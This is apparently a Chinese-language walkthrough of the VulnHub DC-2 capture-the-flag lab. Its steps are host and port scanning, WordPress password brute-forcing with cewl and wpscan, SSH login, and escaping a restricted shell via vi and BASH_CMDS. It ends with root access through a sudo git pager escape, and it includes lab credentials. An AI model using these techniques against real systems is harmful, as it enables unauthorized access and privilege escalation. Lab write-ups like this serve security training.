靶场地址
https://download.vulnhub.com/dc/DC-2.zip
目标
找到五个flag
漏洞复现
flag1
sudo arp-scan -l
# 主机发现
![](https://img-blog.csdnimg.cn/img_convert/36fc3531293188c15253820c57ba8943.png)
nmap -p- 192.168.222.138 --min-rate=5000
# 开放端口扫描
![](https://img-blog.csdnimg.cn/img_convert/241c47d2daec53cdaeee476f71688729.png)
http://192.168.222.138:80
本地访问不了自动跳转到DC-2,应该是给重定向了
![](https://img-blog.csdnimg.cn/img_convert/1331c3c24ec1606e12f41124a0eef400.png)
在本地hosts文件中添加 192.168.222.138 dc-2
![](https://img-blog.csdnimg.cn/img_convert/fc781a1d96199c4ce268f5b274b2ced2.png)
重新访问 http://192.168.222.138:80
![](https://img-blog.csdnimg.cn/img_convert/fb0d79a89b1be2c766be308507177630.png)
![](https://img-blog.csdnimg.cn/img_convert/26ace647ca4b56abf888a8c4597fba11.png)
flag2
dirsearch -u "http://192.168.222.138:80" -x 403 404
# 扫描网站目录,看看是否有有用信息
![](https://img-blog.csdnimg.cn/img_convert/b8785ea79534d18bbe7eca2fb072c390.png)
http://dc-2/wp-login.php
![](https://img-blog.csdnimg.cn/img_convert/57162526d7ed76fecc8566fbcc2d9e85.png)
接下来就该破解账号密码了,通过flag1提示我们需要用到cewl工具
cewl http://dc-2/ -w /home/kali/Desktop/dict.txt
# 爬取http://dc-2/网站生成的字典,放在桌面上的dict.txt文件中
![](https://img-blog.csdnimg.cn/img_convert/d303bf342cbcf373e0f4534985d15165.png)
wpscan --url dc-2 -e u
# 使用wpscan工具爆破用户名
扫描出三个用户名:admin、jerry、tom,将这三个用户名放在桌面的user.txt下,方便下一步的密码爆破
![](https://img-blog.csdnimg.cn/img_convert/e72bf4fcfc42fdaf29c5deec18a0a96f.png)
wpscan --url dc-2 -U /home/kali/Desktop/user.txt -P /home/kali/Desktop/dict.txt
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
![](https://img-blog.csdnimg.cn/img_convert/1d83174a2f1c34b4f5964929e085382b.png)
使用jerry/adipiscing,登录进去后,找到flag2
![](https://img-blog.csdnimg.cn/img_convert/4c1995b450fb9f911291cf08f1a380b9.png)
flag3
跟上flag2的提示,我们不能使用CMS漏洞来获取shell,在最开始扫描端口的时候,我们看到这个网站将SSH端口改为了7744,我们已经得到了账号密码可以尝试ssh登录
ssh jerry@192.168.222.138 -p 7744
adipiscing
# 使用jerry的密码登录失败
![](https://img-blog.csdnimg.cn/img_convert/446413e8ad8b170e583cbde28f6e895d.png)
ssh tom@192.168.222.138 -p 7744
parturient
# 登陆成功
![](https://img-blog.csdnimg.cn/img_convert/8c1fa2aa19d7216b5b7af0c09464c696.png)
ls
cat flag3.txt
发现cat命令被禁用了,我们查看还有哪些命令可执行
![](https://img-blog.csdnimg.cn/img_convert/4a6765c77a0d636bce148c2af2676ff4.png)
compgen -c
# 查看可以使用的指令
![](https://img-blog.csdnimg.cn/img_convert/f1f69ab8366f1cbd7c5cccfb7067563a.png)
使用vi命令查看flag3.txt
vi flag3.txt
![](https://img-blog.csdnimg.cn/img_convert/a98186aeb305661b99a92a452173b41f.png)
猜测需要我们进行提权
flag4
既然vi可以用,我们可以进行vi提权
vi flag3.txt
esc --> : --> set shell=/bin/bash --> 回车 --> esc --> : --> shell --> 回车
# 当退出vi界面的时候,就提权成功了
cd ..
ls
cd jerry
vi flag4.txt
![](https://img-blog.csdnimg.cn/img_convert/42f544091e161713c47bd9db91298ac8.png)
final-flag
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量
# rbash提权成功
![](https://img-blog.csdnimg.cn/img_convert/8c266689905a752c86c35e7b47dc62e3.png)
sudo -l
# 查看可以进行提权的命令,提升我们可以使用git提权
![](https://img-blog.csdnimg.cn/img_convert/6948420f55f70ec35291e653bf0fb88d.png)
sudo git help config / sudo git -p help
回车然后输入!/bin/bash
![](https://img-blog.csdnimg.cn/img_convert/6f48e2d73d29bbe14138511d1ff79af0.png)
cd /
find / -name *flag*
![](https://img-blog.csdnimg.cn/img_convert/270d5df72677be2d0ac343842d99e939.png)
cat /root/final-flag.txt
![](https://img-blog.csdnimg.cn/img_convert/47aa63372a0229f0b4202947915921b2.png)
总结
1、cewl(自定义单词列表生成器)
语法格式:
cewl <url> [options]
常用参数:
-w,--write 将输出的结果写入到文件
-h,--help 显示帮助
cewl http://dc-2/ -w /home/kali/Desktop/dict.txt
# 爬取http://dc-2/网站生成的字典,放在桌面上的dict.txt文件中
2、wpscan(漏洞扫描工具)
语法格式:
wpscan --url <url>
常用参数:
-U 指定用户名列表
-P 指定密码列表
wpscan --url dc-2 -U /home/kali/Desktop/user.txt -P /home/kali/Desktop/dict.txt
# 使用指定的user字典和指定dict字典爆破出user用户对应的password
3、rbash 环境变量提权
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量
https://www.freebuf.com/articles/system/188989.html
4、git 提权
sudo git help config / sudo git -p help
回车然后输入!/bin/bash